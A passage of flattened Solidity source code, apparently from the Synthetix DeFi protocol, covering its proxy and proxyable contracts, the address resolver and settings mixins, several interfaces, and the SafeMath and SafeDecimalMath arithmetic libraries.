contract Proxy is Owned {
Proxyable public target;
constructor(address _owner) public Owned(_owner) {}
function setTarget(Proxyable _target) external onlyOwner {
target = _target;
emit TargetUpdated(_target);
}
function _emit(
bytes calldata callData,
uint numTopics,
bytes32 topic1,
bytes32 topic2,
bytes32 topic3,
bytes32 topic4
) external onlyTarget {
uint size = callData.length;
bytes memory _callData = callData;
assembly {
/* The first 32 bytes of callData contain its length (as specified by the abi).
* Length is assumed to be a uint256 and therefore maximum of 32 bytes
* in length. It is also leftpadded to be a multiple of 32 bytes.
* This means moving call_data across 32 bytes guarantees we correctly access
* the data itself. */
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
// solhint-disable no-complex-fallback
function() external payable {
// Mutable call setting Proxyable.messageSender as this is using call not delegatecall
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
/* We must explicitly forward ether to the underlying contract as well. */
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) {
revert(free_ptr, returndatasize)
}
return(free_ptr, returndatasize)
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "Must be proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
// Inheritance
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/proxyable
contract Proxyable is Owned {
// This contract should be treated like an abstract contract
/* The proxy this contract exists behind. */
Proxy public proxy;
/* The caller of the proxy, passed through to this contract.
* Note that every function using this member must apply the onlyProxy or
* optionalProxy modifiers, otherwise their invocations can use stale values. */
address public messageSender;
constructor(address payable _proxy) internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address payable _proxy) external onlyOwner {
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setMessageSender(address sender) external onlyProxy {
messageSender = sender;
}
modifier onlyProxy {
_onlyProxy();
_;
}
function _onlyProxy() private view {
require(Proxy(msg.sender) == proxy, "Only the proxy can call");
}
modifier optionalProxy {
_optionalProxy();
_;
}
function _optionalProxy() private {
if (Proxy(msg.sender) != proxy && messageSender != msg.sender) {
messageSender = msg.sender;
}
}
modifier optionalProxy_onlyOwner {
_optionalProxy_onlyOwner();
_;
}
// solhint-disable-next-line func-name-mixedcase
function _optionalProxy_onlyOwner() private {
if (Proxy(msg.sender) != proxy && messageSender != msg.sender) {
messageSender = msg.sender;
}
require(messageSender == owner, "Owner only function");
}
event ProxyUpdated(address proxyAddress);
}
// https://docs.synthetix.io/contracts/source/contracts/limitedsetup
contract LimitedSetup {
uint public setupExpiryTime;
/**
* @dev LimitedSetup Constructor.
* @param setupDuration The time the setup period will last for.
*/
constructor(uint setupDuration) internal {
setupExpiryTime = now + setupDuration;
}
modifier onlyDuringSetup {
require(now < setupExpiryTime, "Can only perform this action during setup");
_;
}
}
// https://docs.synthetix.io/contracts/source/interfaces/iaddressresolver
interface IAddressResolver {
function getAddress(bytes32 name) external view returns (address);
function getSynth(bytes32 key) external view returns (address);
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address);
}
// https://docs.synthetix.io/contracts/source/interfaces/isynth
interface ISynth {
// Views
function currencyKey() external view returns (bytes32);
function transferableSynths(address account) external view returns (uint);
// Mutative functions
function transferAndSettle(address to, uint value) external returns (bool);
function transferFromAndSettle(
address from,
address to,
uint value
) external returns (bool);
// Restricted: used internally to Synthetix
function burn(address account, uint amount) external;
function issue(address account, uint amount) external;
}
// https://docs.synthetix.io/contracts/source/interfaces/iissuer
interface IIssuer {
// Views
function anySynthOrSNXRateIsInvalid() external view returns (bool anyRateInvalid);
function availableCurrencyKeys() external view returns (bytes32[] memory);
function availableSynthCount() external view returns (uint);
function availableSynths(uint index) external view returns (ISynth);
function canBurnSynths(address account) external view returns (bool);
function collateral(address account) external view returns (uint);
function collateralisationRatio(address issuer) external view returns (uint);
function collateralisationRatioAndAnyRatesInvalid(address _issuer)
external
view
returns (uint cratio, bool anyRateIsInvalid);
function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint debtBalance);
function issuanceRatio() external view returns (uint);
function lastIssueEvent(address account) external view returns (uint);
function maxIssuableSynths(address issuer) external view returns (uint maxIssuable);
function minimumStakeTime() external view returns (uint);
function remainingIssuableSynths(address issuer)
external
view
returns (
uint maxIssuable,
uint alreadyIssued,
uint totalSystemDebt
);
function synths(bytes32 currencyKey) external view returns (ISynth);
function getSynths(bytes32[] calldata currencyKeys) external view returns (ISynth[] memory);
function synthsByAddress(address synthAddress) external view returns (bytes32);
function totalIssuedSynths(bytes32 currencyKey, bool excludeOtherCollateral) external view returns (uint);
function transferableSynthetixAndAnyRateIsInvalid(address account, uint balance)
external
view
returns (uint transferable, bool anyRateIsInvalid);
// Restricted: used internally to Synthetix
function issueSynths(address from, uint amount) external;
function issueSynthsOnBehalf(
address issueFor,
address from,
uint amount
) external;
function issueMaxSynths(address from) external;
function issueMaxSynthsOnBehalf(address issueFor, address from) external;
function burnSynths(address from, uint amount) external;
function burnSynthsOnBehalf(
address burnForAddress,
address from,
uint amount
) external;
function burnSynthsToTarget(address from) external;
function burnSynthsToTargetOnBehalf(address burnForAddress, address from) external;
function burnForRedemption(
address deprecatedSynthProxy,
address account,
uint balance
) external;
function liquidateDelinquentAccount(
address account,
uint susdAmount,
address liquidator
) external returns (uint totalRedeemed, uint amountToLiquidate);
}
// Inheritance
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/addressresolver
contract AddressResolver is Owned, IAddressResolver {
mapping(bytes32 => address) public repository;
constructor(address _owner) public Owned(_owner) {}
/* ========== RESTRICTED FUNCTIONS ========== */
function importAddresses(bytes32[] calldata names, address[] calldata destinations) external onlyOwner {
require(names.length == destinations.length, "Input lengths must match");
for (uint i = 0; i < names.length; i++) {
bytes32 name = names[i];
address destination = destinations[i];
repository[name] = destination;
emit AddressImported(name, destination);
}
}
/* ========= PUBLIC FUNCTIONS ========== */
function rebuildCaches(MixinResolver[] calldata destinations) external {
for (uint i = 0; i < destinations.length; i++) {
destinations[i].rebuildCache();
}
}
/* ========== VIEWS ========== */
function areAddressesImported(bytes32[] calldata names, address[] calldata destinations) external view returns (bool) {
for (uint i = 0; i < names.length; i++) {
if (repository[names[i]] != destinations[i]) {
return false;
}
}
return true;
}
function getAddress(bytes32 name) external view returns (address) {
return repository[name];
}
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address) {
address _foundAddress = repository[name];
require(_foundAddress != address(0), reason);
return _foundAddress;
}
function getSynth(bytes32 key) external view returns (address) {
IIssuer issuer = IIssuer(repository["Issuer"]);
require(address(issuer) != address(0), "Cannot find Issuer address");
return address(issuer.synths(key));
}
/* ========== EVENTS ========== */
event AddressImported(bytes32 name, address destination);
}
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/mixinresolver
contract MixinResolver {
AddressResolver public resolver;
mapping(bytes32 => address) private addressCache;
constructor(address _resolver) internal {
resolver = AddressResolver(_resolver);
}
/* ========== INTERNAL FUNCTIONS ========== */
function combineArrays(bytes32[] memory first, bytes32[] memory second)
internal
pure
returns (bytes32[] memory combination)
{
combination = new bytes32[](first.length + second.length);
for (uint i = 0; i < first.length; i++) {
combination[i] = first[i];
}
for (uint j = 0; j < second.length; j++) {
combination[first.length + j] = second[j];
}
}
/* ========== PUBLIC FUNCTIONS ========== */
// Note: this function is public not external in order for it to be overridden and invoked via super in subclasses
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {}
function rebuildCache() public {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
// The resolver must call this function whenver it updates its state
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// Note: can only be invoked once the resolver has all the targets needed added
address destination =
resolver.requireAndGetAddress(name, string(abi.encodePacked("Resolver missing target: ", name)));
addressCache[name] = destination;
emit CacheUpdated(name, destination);
}
}
/* ========== VIEWS ========== */
function isResolverCached() external view returns (bool) {
bytes32[] memory requiredAddresses = resolverAddressesRequired();
for (uint i = 0; i < requiredAddresses.length; i++) {
bytes32 name = requiredAddresses[i];
// false if our cache is invalid or if the resolver doesn't have the required address
if (resolver.getAddress(name) != addressCache[name] || addressCache[name] == address(0)) {
return false;
}
}
return true;
}
/* ========== INTERNAL FUNCTIONS ========== */
function requireAndGetAddress(bytes32 name) internal view returns (address) {
address _foundAddress = addressCache[name];
require(_foundAddress != address(0), string(abi.encodePacked("Missing address: ", name)));
return _foundAddress;
}
/* ========== EVENTS ========== */
event CacheUpdated(bytes32 name, address destination);
}
// https://docs.synthetix.io/contracts/source/interfaces/iflexiblestorage
interface IFlexibleStorage {
// Views
function getUIntValue(bytes32 contractName, bytes32 record) external view returns (uint);
function getUIntValues(bytes32 contractName, bytes32[] calldata records) external view returns (uint[] memory);
function getIntValue(bytes32 contractName, bytes32 record) external view returns (int);
function getIntValues(bytes32 contractName, bytes32[] calldata records) external view returns (int[] memory);
function getAddressValue(bytes32 contractName, bytes32 record) external view returns (address);
function getAddressValues(bytes32 contractName, bytes32[] calldata records) external view returns (address[] memory);
function getBoolValue(bytes32 contractName, bytes32 record) external view returns (bool);
function getBoolValues(bytes32 contractName, bytes32[] calldata records) external view returns (bool[] memory);
function getBytes32Value(bytes32 contractName, bytes32 record) external view returns (bytes32);
function getBytes32Values(bytes32 contractName, bytes32[] calldata records) external view returns (bytes32[] memory);
// Mutative functions
function deleteUIntValue(bytes32 contractName, bytes32 record) external;
function deleteIntValue(bytes32 contractName, bytes32 record) external;
function deleteAddressValue(bytes32 contractName, bytes32 record) external;
function deleteBoolValue(bytes32 contractName, bytes32 record) external;
function deleteBytes32Value(bytes32 contractName, bytes32 record) external;
function setUIntValue(
bytes32 contractName,
bytes32 record,
uint value
) external;
function setUIntValues(
bytes32 contractName,
bytes32[] calldata records,
uint[] calldata values
) external;
function setIntValue(
bytes32 contractName,
bytes32 record,
int value
) external;
function setIntValues(
bytes32 contractName,
bytes32[] calldata records,
int[] calldata values
) external;
function setAddressValue(
bytes32 contractName,
bytes32 record,
address value
) external;
function setAddressValues(
bytes32 contractName,
bytes32[] calldata records,
address[] calldata values
) external;
function setBoolValue(
bytes32 contractName,
bytes32 record,
bool value
) external;
function setBoolValues(
bytes32 contractName,
bytes32[] calldata records,
bool[] calldata values
) external;
function setBytes32Value(
bytes32 contractName,
bytes32 record,
bytes32 value
) external;
function setBytes32Values(
bytes32 contractName,
bytes32[] calldata records,
bytes32[] calldata values
) external;
}
// Internal references
// https://docs.synthetix.io/contracts/source/contracts/mixinsystemsettings
contract MixinSystemSettings is MixinResolver {
// must match the one defined SystemSettingsLib, defined in both places due to sol v0.5 limitations
bytes32 internal constant SETTING_CONTRACT_NAME = "SystemSettings";
bytes32 internal constant SETTING_WAITING_PERIOD_SECS = "waitingPeriodSecs";
bytes32 internal constant SETTING_PRICE_DEVIATION_THRESHOLD_FACTOR = "priceDeviationThresholdFactor";
bytes32 internal constant SETTING_ISSUANCE_RATIO = "issuanceRatio";
bytes32 internal constant SETTING_FEE_PERIOD_DURATION = "feePeriodDuration";
bytes32 internal constant SETTING_TARGET_THRESHOLD = "targetThreshold";
bytes32 internal constant SETTING_LIQUIDATION_DELAY = "liquidationDelay";
bytes32 internal constant SETTING_LIQUIDATION_RATIO = "liquidationRatio";
bytes32 internal constant SETTING_LIQUIDATION_PENALTY = "liquidationPenalty";
bytes32 internal constant SETTING_RATE_STALE_PERIOD = "rateStalePeriod";
bytes32 internal constant SETTING_EXCHANGE_FEE_RATE = "exchangeFeeRate";
bytes32 internal constant SETTING_MINIMUM_STAKE_TIME = "minimumStakeTime";
bytes32 internal constant SETTING_AGGREGATOR_WARNING_FLAGS = "aggregatorWarningFlags";
bytes32 internal constant SETTING_TRADING_REWARDS_ENABLED = "tradingRewardsEnabled";
bytes32 internal constant SETTING_DEBT_SNAPSHOT_STALE_TIME = "debtSnapshotStaleTime";
bytes32 internal constant SETTING_CROSS_DOMAIN_DEPOSIT_GAS_LIMIT = "crossDomainDepositGasLimit";
bytes32 internal constant SETTING_CROSS_DOMAIN_ESCROW_GAS_LIMIT = "crossDomainEscrowGasLimit";
bytes32 internal constant SETTING_CROSS_DOMAIN_REWARD_GAS_LIMIT = "crossDomainRewardGasLimit";
bytes32 internal constant SETTING_CROSS_DOMAIN_WITHDRAWAL_GAS_LIMIT = "crossDomainWithdrawalGasLimit";
bytes32 internal constant SETTING_CROSS_DOMAIN_RELAY_GAS_LIMIT = "crossDomainRelayGasLimit";
bytes32 internal constant SETTING_ETHER_WRAPPER_MAX_ETH = "etherWrapperMaxETH";
bytes32 internal constant SETTING_ETHER_WRAPPER_MINT_FEE_RATE = "etherWrapperMintFeeRate";
bytes32 internal constant SETTING_ETHER_WRAPPER_BURN_FEE_RATE = "etherWrapperBurnFeeRate";
bytes32 internal constant SETTING_WRAPPER_MAX_TOKEN_AMOUNT = "wrapperMaxTokens";
bytes32 internal constant SETTING_WRAPPER_MINT_FEE_RATE = "wrapperMintFeeRate";
bytes32 internal constant SETTING_WRAPPER_BURN_FEE_RATE = "wrapperBurnFeeRate";
bytes32 internal constant SETTING_INTERACTION_DELAY = "interactionDelay";
bytes32 internal constant SETTING_COLLAPSE_FEE_RATE = "collapseFeeRate";
bytes32 internal constant SETTING_ATOMIC_MAX_VOLUME_PER_BLOCK = "atomicMaxVolumePerBlock";
bytes32 internal constant SETTING_ATOMIC_TWAP_WINDOW = "atomicTwapWindow";
bytes32 internal constant SETTING_ATOMIC_EQUIVALENT_FOR_DEX_PRICING = "atomicEquivalentForDexPricing";
bytes32 internal constant SETTING_ATOMIC_EXCHANGE_FEE_RATE = "atomicExchangeFeeRate";
bytes32 internal constant SETTING_ATOMIC_PRICE_BUFFER = "atomicPriceBuffer";
bytes32 internal constant SETTING_ATOMIC_VOLATILITY_CONSIDERATION_WINDOW = "atomicVolConsiderationWindow";
bytes32 internal constant SETTING_ATOMIC_VOLATILITY_UPDATE_THRESHOLD = "atomicVolUpdateThreshold";
bytes32 internal constant CONTRACT_FLEXIBLESTORAGE = "FlexibleStorage";
enum CrossDomainMessageGasLimits {Deposit, Escrow, Reward, Withdrawal, Relay}
constructor(address _resolver) internal MixinResolver(_resolver) {}
function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {
addresses = new bytes32[](1);
addresses[0] = CONTRACT_FLEXIBLESTORAGE;
}
function flexibleStorage() internal view returns (IFlexibleStorage) {
return IFlexibleStorage(requireAndGetAddress(CONTRACT_FLEXIBLESTORAGE));
}
function _getGasLimitSetting(CrossDomainMessageGasLimits gasLimitType) internal pure returns (bytes32) {
if (gasLimitType == CrossDomainMessageGasLimits.Deposit) {
return SETTING_CROSS_DOMAIN_DEPOSIT_GAS_LIMIT;
} else if (gasLimitType == CrossDomainMessageGasLimits.Escrow) {
return SETTING_CROSS_DOMAIN_ESCROW_GAS_LIMIT;
} else if (gasLimitType == CrossDomainMessageGasLimits.Reward) {
return SETTING_CROSS_DOMAIN_REWARD_GAS_LIMIT;
} else if (gasLimitType == CrossDomainMessageGasLimits.Withdrawal) {
return SETTING_CROSS_DOMAIN_WITHDRAWAL_GAS_LIMIT;
} else if (gasLimitType == CrossDomainMessageGasLimits.Relay) {
return SETTING_CROSS_DOMAIN_RELAY_GAS_LIMIT;
} else {
revert("Unknown gas limit type");
}
}
function getCrossDomainMessageGasLimit(CrossDomainMessageGasLimits gasLimitType) internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, _getGasLimitSetting(gasLimitType));
}
function getTradingRewardsEnabled() internal view returns (bool) {
return flexibleStorage().getBoolValue(SETTING_CONTRACT_NAME, SETTING_TRADING_REWARDS_ENABLED);
}
function getWaitingPeriodSecs() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_WAITING_PERIOD_SECS);
}
function getPriceDeviationThresholdFactor() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_PRICE_DEVIATION_THRESHOLD_FACTOR);
}
function getIssuanceRatio() internal view returns (uint) {
// lookup on flexible storage directly for gas savings (rather than via SystemSettings)
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_ISSUANCE_RATIO);
}
function getFeePeriodDuration() internal view returns (uint) {
// lookup on flexible storage directly for gas savings (rather than via SystemSettings)
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_FEE_PERIOD_DURATION);
}
function getTargetThreshold() internal view returns (uint) {
// lookup on flexible storage directly for gas savings (rather than via SystemSettings)
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_TARGET_THRESHOLD);
}
function getLiquidationDelay() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_LIQUIDATION_DELAY);
}
function getLiquidationRatio() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_LIQUIDATION_RATIO);
}
function getLiquidationPenalty() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_LIQUIDATION_PENALTY);
}
function getRateStalePeriod() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_RATE_STALE_PERIOD);
}
function getExchangeFeeRate(bytes32 currencyKey) internal view returns (uint) {
return
flexibleStorage().getUIntValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_EXCHANGE_FEE_RATE, currencyKey))
);
}
function getMinimumStakeTime() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_MINIMUM_STAKE_TIME);
}
function getAggregatorWarningFlags() internal view returns (address) {
return flexibleStorage().getAddressValue(SETTING_CONTRACT_NAME, SETTING_AGGREGATOR_WARNING_FLAGS);
}
function getDebtSnapshotStaleTime() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_DEBT_SNAPSHOT_STALE_TIME);
}
function getEtherWrapperMaxETH() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_ETHER_WRAPPER_MAX_ETH);
}
function getEtherWrapperMintFeeRate() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_ETHER_WRAPPER_MINT_FEE_RATE);
}
function getEtherWrapperBurnFeeRate() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_ETHER_WRAPPER_BURN_FEE_RATE);
}
function getWrapperMaxTokenAmount(address wrapper) internal view returns (uint) {
return
flexibleStorage().getUIntValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_WRAPPER_MAX_TOKEN_AMOUNT, wrapper))
);
}
function getWrapperMintFeeRate(address wrapper) internal view returns (int) {
return
flexibleStorage().getIntValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_WRAPPER_MINT_FEE_RATE, wrapper))
);
}
function getWrapperBurnFeeRate(address wrapper) internal view returns (int) {
return
flexibleStorage().getIntValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_WRAPPER_BURN_FEE_RATE, wrapper))
);
}
function getInteractionDelay(address collateral) internal view returns (uint) {
return
flexibleStorage().getUIntValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_INTERACTION_DELAY, collateral))
);
}
function getCollapseFeeRate(address collateral) internal view returns (uint) {
return
flexibleStorage().getUIntValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_COLLAPSE_FEE_RATE, collateral))
);
}
function getAtomicMaxVolumePerBlock() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_ATOMIC_MAX_VOLUME_PER_BLOCK);
}
function getAtomicTwapWindow() internal view returns (uint) {
return flexibleStorage().getUIntValue(SETTING_CONTRACT_NAME, SETTING_ATOMIC_TWAP_WINDOW);
}
function getAtomicEquivalentForDexPricing(bytes32 currencyKey) internal view returns (address) {
return
flexibleStorage().getAddressValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_ATOMIC_EQUIVALENT_FOR_DEX_PRICING, currencyKey))
);
}
function getAtomicExchangeFeeRate(bytes32 currencyKey) internal view returns (uint) {
return
flexibleStorage().getUIntValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_ATOMIC_EXCHANGE_FEE_RATE, currencyKey))
);
}
function getAtomicPriceBuffer(bytes32 currencyKey) internal view returns (uint) {
return
flexibleStorage().getUIntValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_ATOMIC_PRICE_BUFFER, currencyKey))
);
}
function getAtomicVolatilityConsiderationWindow(bytes32 currencyKey) internal view returns (uint) {
return
flexibleStorage().getUIntValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_ATOMIC_VOLATILITY_CONSIDERATION_WINDOW, currencyKey))
);
}
function getAtomicVolatilityUpdateThreshold(bytes32 currencyKey) internal view returns (uint) {
return
flexibleStorage().getUIntValue(
SETTING_CONTRACT_NAME,
keccak256(abi.encodePacked(SETTING_ATOMIC_VOLATILITY_UPDATE_THRESHOLD, currencyKey))
);
}
}
// https://docs.synthetix.io/contracts/source/interfaces/ifeepool
interface IFeePool {
// Views
// solhint-disable-next-line func-name-mixedcase
function FEE_ADDRESS() external view returns (address);
function feesAvailable(address account) external view returns (uint, uint);
function feePeriodDuration() external view returns (uint);
function isFeesClaimable(address account) external view returns (bool);
function targetThreshold() external view returns (uint);
function totalFeesAvailable() external view returns (uint);
function totalRewardsAvailable() external view returns (uint);
// Mutative Functions
function claimFees() external returns (bool);
function claimOnBehalf(address claimingForAddress) external returns (bool);
function closeCurrentFeePeriod() external;
// Restricted: used internally to Synthetix
function appendAccountIssuanceRecord(
address account,
uint lockedAmount,
uint debtEntryIndex
) external;
function recordFeePaid(uint sUSDAmount) external;
function setRewardsToDistribute(uint amount) external;
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// Libraries
// https://docs.synthetix.io/contracts/source/libraries/safedecimalmath
library SafeDecimalMath {
using SafeMath for uint;
/* Number of decimal places in the representations. */
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
/* The number representing 1.0. */
uint public constant UNIT = 10**uint(decimals);
/* The number representing 1.0 for higher fidelity numbers. */
uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals);
/**
* @return Provides an interface to UNIT.
*/
function unit() external pure returns (uint) {
return UNIT;
}
/**
* @return Provides an interface to PRECISE_UNIT.
*/
function preciseUnit() external pure returns (uint) {
return PRECISE_UNIT;
}
/**
* @return The result of multiplying x and y, interpreting the operands as fixed-point
* decimals.
*
* @dev A unit factor is divided out after the product of x and y is evaluated,
* so that product must be less than 2**256. As this is an integer division,
* the internal division always rounds down. This helps save on gas. Rounding
* is more expensive on gas.
*/
function multiplyDecimal(uint x, uint y) internal pure returns (uint) {
/* Divide by UNIT to remove the extra factor introduced by the product. */
return x.mul(y) / UNIT;
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of the specified precision unit.
*
* @dev The operands should be in the form of a the specified unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function _multiplyDecimalRound(
uint x,
uint y,
uint precisionUnit
) private pure returns (uint) {
/* Divide by UNIT to remove the extra factor introduced by the product. */
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of a precise unit.
*
* @dev The operands should be in the precise unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of a standard unit.
*
* @dev The operands should be in the standard unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) {
return _multiplyDecimalRound(x, y, UNIT);
}
/**
* @return The result of safely dividing x and y. The return value is a high
* precision decimal.
*
* @dev y is divided after the product of x and the standard precision unit
* is evaluated, so the product of x and UNIT must be less than 2**256. As
* this is an integer division, the result is always rounded down.
* This helps save on gas. Rounding is more expensive on gas.
*/
function divideDecimal(uint x, uint y) internal pure returns (uint) {
/* Reintroduce the UNIT factor that will be divided out by y. */
return x.mul(UNIT).div(y);
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* decimal in the precision unit specified in the parameter.
*
* @dev y is divided after the product of x and the specified precision unit
* is evaluated, so the product of x and the specified precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function _divideDecimalRound(
uint x,
uint y,
uint precisionUnit
) private pure returns (uint) {
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* standard precision decimal.
*
* @dev y is divided after the product of x and the standard precision unit
* is evaluated, so the product of x and the standard precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function divideDecimalRound(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, UNIT);
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* high precision decimal.
*
* @dev y is divided after the product of x and the high precision unit
* is evaluated, so the product of x and the high precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) {
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
/**
* @dev Convert a standard decimal representation to a high precision one.
*/
function decimalToPreciseDecimal(uint i) internal pure returns (uint) {
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
/**
* @dev Convert a high precision decimal to a standard decimal representation.
*/
function preciseDecimalToDecimal(uint i) internal pure returns (uint) {
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
// Computes `a - b`, setting the value to 0 if b > a.
